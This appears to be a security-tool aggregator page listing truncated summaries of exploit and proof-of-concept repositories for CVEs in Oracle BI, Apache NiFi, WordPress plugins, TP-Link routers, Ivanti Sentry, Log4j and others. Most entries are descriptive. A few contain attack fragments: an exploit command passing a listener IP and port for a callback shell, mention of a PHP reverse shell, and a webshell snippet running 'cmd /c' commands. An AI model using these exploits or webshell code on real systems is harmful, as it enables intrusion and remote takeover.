CVE-2020-2950

Oracle-BI CVE-2020-2950 AMF 反序列化 版本: 5.5.0.0.0, 11.1.1.9.0, 12.2.1.3.0 安装:https://www.sql.edu.vn/obiee/oracle-business-intelligence-12c/ 参考: https://peterjson.medium.com/cve-2020-2950-turning-amf-deserialize-bug-to-java-deserialize-bug-2984a8542b6f 漏洞利用 - PoC amf.bin 头部命令使用 base64 和子元素 !! 调试跟踪漏洞...

CVE-2023-34468-POC

CVE-2023-34468 — Apache NiFi 1.21.0 RCE PoC Apache NiFi = 1.21.0 中通过 H2 数据库 RUNSCRIPT 实现远程代码执行 漏洞 Apache NiFi 默认捆绑了 H2 数据库 JAR。DBCPConnectionPool 控制器服务可配置为使用该 H2 驱动。H2 支持 RUNSCRIPT 语句，该语句会从远程 URL 获取并执行 SQL 文件。该 SQL 文件可通过 CREATE ALIAS 定义任意 Java 代码，并在服务器操作系统上执行。 攻击链： root@kitploit: DBCPConnectionPo...

CVE-2023-30547

CVE-2023-30547 Vulnerability description vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules. There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside handleException...

react2shell-toolkit

Next.js RCE 评估工具包 一个用于在授权环境中验证和调查 CVE-2025-55182（也称为 React2Shell ）的 Python 工具包。该漏洞影响 React 服务端组件，并可能使基于 Next.js 等框架构建的应用程序暴露于未经身份验证的远程代码执行。该工具包集成了目标收集、批量验证、交互式测试 Shell、主机枚举以及可选的后验证工具。 漏洞 CVE: CVE-2025-55182 名称: React2Shell 类型: 未经身份验证的远程代码执行 受影响技术: React 服务端组件及依赖框架，包括受影响的 Next.js 配置 工具包验证:...

iocx

IOCX Deterministic, Zero‑Risk IOC Extraction for Modern Security Pipelines Static IOC extraction from a PE file using the IOCX CLI Official IOCX Project This is the original IOCX engine for deterministic static IOC extraction and PE analysis. Any other repositories using the name "iocx" are not...

CVE-2025-7441

CVE-2025-7441 StoryChief 1.0.42 - Arbitrary File Upload Vulnerability CVE-2025-7441 - Technical summary Affected component: StoryChief WordPress plugin Vulnerability type: Unauthenticated arbitrary file upload Vulnerable endpoint: /wp-json/storychief/webhook Root cause: The plugin accepts a JSON...

CVE-2026-41089

🚨 CVE-2026-41089 - 重大なWindows Netlogonリモートコード実行（RCE） ⚠️ 重要なWindows Netlogonの脆弱性で、認証されていないリモートコード実行をドメインコントローラーに対して可能にします。 📖 概要 CVE-2026-41089 は、Windows Netlogon サービスに影響を与える重大な脆弱性です。 この欠陥は スタックベースのバッファオーバーフロー に起因し、リモートの攻撃者が特別に細工したリクエストを脆弱なドメインコントローラーに送信することで任意のコードを実行できるようにします。 影響 リモートコード実行 RCE 認証不要...

CVE-2026-11834

CVE-2026-11834 PoC TP-Link DHCP Option 66 未认证远程代码执行（CVE-2026-11834） 概述 TP-Link 路由器固件在处理 DHCP Option 66（“TFTP 服务器名”）时存在命令注入漏洞（CWE-78），同一网段内的未认证攻击者可利用该漏洞以 root 权限执行任意命令。当设备在 WAN 接口上充当 DHCP 客户端时，租约中返回的 Option 66 值未经净化即被拼接进 libcmm.so 中的 tftp shell 命令。共有五个函数构造该命令并将其传递给 utilexecSystem，后者调用 system，因此精心构...

CVE-2020-14008

CVE-2020-14008 - ManageEngine Applications Manager 远程代码执行漏洞 Zoho ManageEngine Applications Manager（版本 示例 root@kitploit: 基础用法 python3 cve-2020-14008.py https://192.168.100.2:8443 admin admin 192.168.100.3 1337 漏洞利用流程 1. 登录 - 使用管理员凭据进行身份验证，获取会话Cookie 2. 枚举 - 获取ManageEngine基础安装目录 3. 构建JAR -...

Sangfor-CVE-2025-12916

Sangfor-CVE-2025-12916 深信服CVE-2025-12916远程命令执行漏洞批量检测工具 || 作者：金夏安全 深信服OSM漏洞批量检测工具 一款针对深信服运维安全管理系统OSM CVE-2025-12916 远程命令执行漏洞的批量检测工具。 🚨 漏洞信息 漏洞编号 : CVE-2025-12916 漏洞类型 : 远程命令执行 影响版本 : 深信服OSM 3.0.12 20241106 漏洞文件 : /fort/portallogin 漏洞参数 : loginUrl ✨ 功能特点 🚀 多线程批量检测 ⏹️ 支持Ctrl+C优雅停止 📊 实时进度显示 💾 自动保存结果 🔍...

CVE-2019-9978

CVE-2019-9978 – 概念验证 PoC CVE-2019-9978 漏洞的功能性 PoC，影响插件 Social Warfare = 3.5.2，允许在 WordPress 上执行远程代码执行 RCE 。 📌 描述 此漏洞利用利用参数 swpdebug=loadoptions 强制加载 远程有效载荷，允许在目标服务器上执行命令 并获取 反向 shell 。 ⚠️ 仅限教育目的和授权环境使用 。 🧰 要求 Python 3 存在漏洞的 WordPress，使用 Social Warfare = 3.5.2 活跃的监听器（例如 nc） php-reverse-shell.php...

CVE-2023-30990

CVE-2023-30990 漏洞利用 详见我们的博客文章：https://blog.silentsignal.eu/2025/09/04/Exploit-development-for-IBM-i/ Python 脚本需要 ebcdic 模块：pip install ebcdic DRDA S38CMD 方法 root@kitploit: python3 ddm.py "" DRDA SQL 方法 root@kitploit: python3 ddm-bypass-test.py "" 使用 S38CMD 方法的简单 bindshell root@kitploit: ./exploit...

CVE-2022-21445

Exploit CVE-2022-21445 - PoC Este kit de herramientas genera payloads de exploit para CVE-2022-21445, una vulnerabilidad crítica de deserialización de Java que afecta a Oracle WebLogic Server 12.2.1.x que ejecuta Oracle ADF Faces. La falla existe en el componente RemoteApplicationResourceLoader y...

WordPress_4.9.8_RCE_POC

摘要 一个针对WordPress RCE（作者权限）的简单PoC，参考CVE-2019-8942和CVE-2019-8943。 受影响版本 WordPress = 4.9.8（已验证） WordPress = 5.0.0 测试环境 Docker 镜像 docker pull avfisherdocker/wordpress:4.9.8 docker run -d -p 80:80 avfisherdocker/wordpress:4.9.8 MySQL 和 WordPress 信息...

CVE-2022-1292

CVE-2022-1292 POC Description root@kitploit: The crehash script does not properly sanitise shell metacharacters to prevent command injection. This script is distributed by some operating systems in a manner where it is automatically executed. On such operating systems, an attacker could execute...

CVE-2026-10520

🎯 CVE-2026-10520 および CVE-2026-10523 - Ivanti Sentry プリ認証リモートコード実行 + 認証バイパス 作成者: Ashraf Zaryouh "0xBlackash" 📌 概要 Ivanti Sentry （旧MobileIron Sentry）に影響する2つの重大な脆弱性： CVE-2026-10520 → CVSS 10.0 - プリ認証OSコマンドインジェクション（root権限でのRCE） CVE-2026-10523 → CVSS 9.9 - 認証バイパス...

Erlang-OTP-PoC_CVE-2025-32433

Erlang/OTP SSH Pre-Authentication Channel Confusion 📺 Proof of Concept Video Description: A demonstration of the Erlang/OTP SSH Pre-Authentication Channel Confusion vulnerability. Click here to watch the full demo on YouTube Abstract What is this PoC about? This Proof of Concept demonstrates...

Solar-exploiting-log-4j

🔥 Solar Exploiting Log4j - TryHackMe Walkthrough 📌 Room: Solar Exploiting Log4j Platform: TryHackMe Difficulty: Medium Topic: Log4Shell Log4j Vulnerability 🧠 Objective Exploit the Log4j vulnerability CVE-2021-44228 to gain remote code execution and capture flags. 🛠️ Tools Used Nmap Burp Suite cURL...

CVE-2026-53921

🚨 CVE-2026-53921 - odhcpd OpenWrt odhcpd 中的严重基于栈的缓冲区溢出 一个远程未认证的基于栈的缓冲区溢出漏洞，可能允许以root 权限 执行远程代码（RCE） 。 📖 概述 ⚡ 描述 CVE-2026-53921 是一个影响 OpenWrt DHCPv6 服务器（odhcpd） 的严重基于栈的缓冲区溢出 漏洞。 远程未认证的攻击者可以发送特制的 DHCPv6 REQUEST 数据包来触发内存破坏，进一步可能导致以 root 权限 执行任意代码 或引发拒绝服务（DoS） 。 由于 odhcpd 以 root 权限...

OA-tongda-RCE

OA-tongda-RCE | Office Anywhere网络智能办公系统 后台Getshell 无需身份认证 1. 任意文件上传漏洞 /ispirit/im/upload.php 2. 本地文件包含漏洞 /ispirit/interface/gateway.php 命令执行绕过： root@kitploit: exec"cmd /c ".$command; $stdout = $exec-StdOut; $stroutput = $stdout-ReadAll; echo $stroutput; ? GetWebshell root@kitploit: ?php $fp =...